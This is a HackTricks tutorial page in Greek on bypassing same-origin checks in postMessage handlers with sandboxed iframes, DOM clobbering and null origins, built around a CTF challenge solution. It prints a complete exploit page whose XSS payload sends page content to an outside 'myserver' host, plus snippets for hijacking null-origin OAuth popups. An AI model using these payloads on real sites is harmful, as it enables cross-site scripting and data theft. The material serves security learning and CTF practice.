Bypassing SOP with Iframes - 2
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Iframes σε SOP-2
Στη solution για αυτό το challenge, @Strellic_ προτείνει μια παρόμοια μέθοδο με την προηγούμενη ενότητα. Ας το δούμε.
Σε αυτό το challenge ο attacker χρειάζεται να bypass αυτό:
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
Αν το κάνει, μπορεί να στείλει ένα postmessage με HTML περιεχόμενο το οποίο θα γραφτεί στη σελίδα με innerHTML χωρίς καθαρισμό (XSS).
Ο τρόπος να παρακαμφθεί ο πρώτος έλεγχος είναι να γίνει window.calc.contentWindow undefined και e.source null:
window.calc.contentWindowείναι στην πραγματικότηταdocument.getElementById("calc"). Μπορείτε να clobber τοdocument.getElementByIdμε<img name=getElementById />(σημείωση ότι το Sanitizer API -here- δεν είναι ρυθμισμένο να προστατεύει από DOM clobbering attacks στην προεπιλεγμένη του κατάσταση).- Επομένως, μπορείτε να clobber το
document.getElementById("calc")με<img name=getElementById /><div id=calc></div>. Τότε,window.calcθα είναιundefined. - Τώρα, χρειαζόμαστε το
e.sourceνα είναιundefinedήnull(επειδή χρησιμοποιείται==αντί για===,null == undefinedείναιTrue). Αυτό είναι “εύκολο”. Αν δημιουργήσετε ένα iframe και στείλετε ένα postMessage από αυτό και αμέσως αφαιρέσετε το iframe, τοe.originθα είναιnull. Δείτε τον ακόλουθο κώδικα
let iframe = document.createElement("iframe")
document.body.appendChild(iframe)
window.target = window.open("http://localhost:8080/")
await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
document.body.removeChild(iframe) //e.origin === null
Για να παρακαμφθεί ο δεύτερος έλεγχος για το token, στέλνουμε token με τιμή null και κάνουμε την τιμή του window.token undefined:
- Το να στείλεις
tokenστο postMessage με τιμήnullείναι εύκολο. - Για το
window.tokenκαλούμε τη συνάρτησηgetCookieπου χρησιμοποιείdocument.cookie. Σημειώστε ότι οποιαδήποτε πρόσβαση στοdocument.cookieσε σελίδες με originnullπροκαλεί ένα error. Αυτό θα κάνει τοwindow.tokenνα έχει τιμήundefined.
Η τελική λύση από @terjanq είναι η εξής:
<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)
function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr)
function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
</html>
2025 Null-Origin Popups (TryHackMe - Vulnerable Codes)
Μία πρόσφατη εργασία του TryHackMe (“Vulnerable Codes”) δείχνει πώς μπορούν να απαχθούν OAuth popups όταν ο opener βρίσκεται μέσα σε ένα sandboxed iframe που επιτρέπει μόνο scripts και popups. Το iframe αναγκάζει τόσο τον εαυτό του όσο και το popup σε "null" origin, οπότε handlers που ελέγχουν if (origin !== window.origin) return αποτυγχάνουν σιωπηλά επειδή το window.origin μέσα στο popup είναι επίσης "null". Ακόμα κι αν ο browser εξακολουθεί να εκθέτει το πραγματικό location.origin, το θύμα ποτέ δεν το ελέγχει, οπότε attacker-controlled μηνύματα περνούν ανεμπόδιστα.
const frame = document.createElement('iframe');
frame.sandbox = 'allow-scripts allow-popups';
frame.srcdoc = `
<script>
const pop = open('https://oauth.example/callback');
pop.postMessage({ cmd: 'getLoginCode' }, '*');
<\/script>`;
document.body.appendChild(frame);
Σημεία προς εκμετάλλευση αυτής της διαμόρφωσης:
- Οι handlers που συγκρίνουν
originμεwindow.originμέσα στο popup μπορούν να παρακαμφθούν επειδή και τα δύο αξιολογούνται ως"null", οπότε τα forged μηνύματα φαίνονται νόμιμα. - Sandboxed iframes που δίνουν
allow-popupsαλλά παραλείπουνallow-same-originεξακολουθούν να ανοίγουν popups κλειδωμένα στην attacker-controlled null origin, παρέχοντάς σας ένα σταθερό enclave ακόμα και σε 2025 Chromium builds.
Source-nullification & frame-restriction bypasses
Αναλύσεις του κλάδου γύρω από το CVE-2024-49038 επισημαίνουν δύο επαναχρησιμοποιήσιμα primitives για αυτή τη σελίδα: (1) μπορείτε ακόμα να αλληλεπιδράσετε με σελίδες που ορίζουν X-Frame-Options: DENY εκκινώντας τες μέσω window.open και στέλνοντας μηνύματα μόλις ολοκληρωθεί η πλοήγηση, και (2) μπορείτε να brute-force τους ελέγχους event.source == victimFrame αφαιρώντας το iframe αμέσως μετά την αποστολή ενός μηνύματος ώστε ο δέκτης να βλέπει μόνο null στον handler.
const probe = document.createElement('iframe');
probe.sandbox = 'allow-scripts';
probe.onload = () => {
const victim = open('https://target-app/');
setTimeout(() => {
probe.contentWindow.postMessage(payload, '*');
probe.remove();
}, 500);
};
document.body.appendChild(probe);
Συνδύασέ το με το DOM-clobbering trick που περιγράφεται παραπάνω: μόλις ο receiver βλέπει μόνο event.source === null, οποιαδήποτε σύγκριση με window.calc.contentWindow ή παρόμοιο καταρρέει, επιτρέποντάς σου να περάσεις ξανά malicious HTML sinks μέσω του innerHTML.
Αναφορές
- PostMessage Vulnerabilities: When Cross-Window Communication Goes Wrong
- THM Write-up: Vulnerable Codes
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks

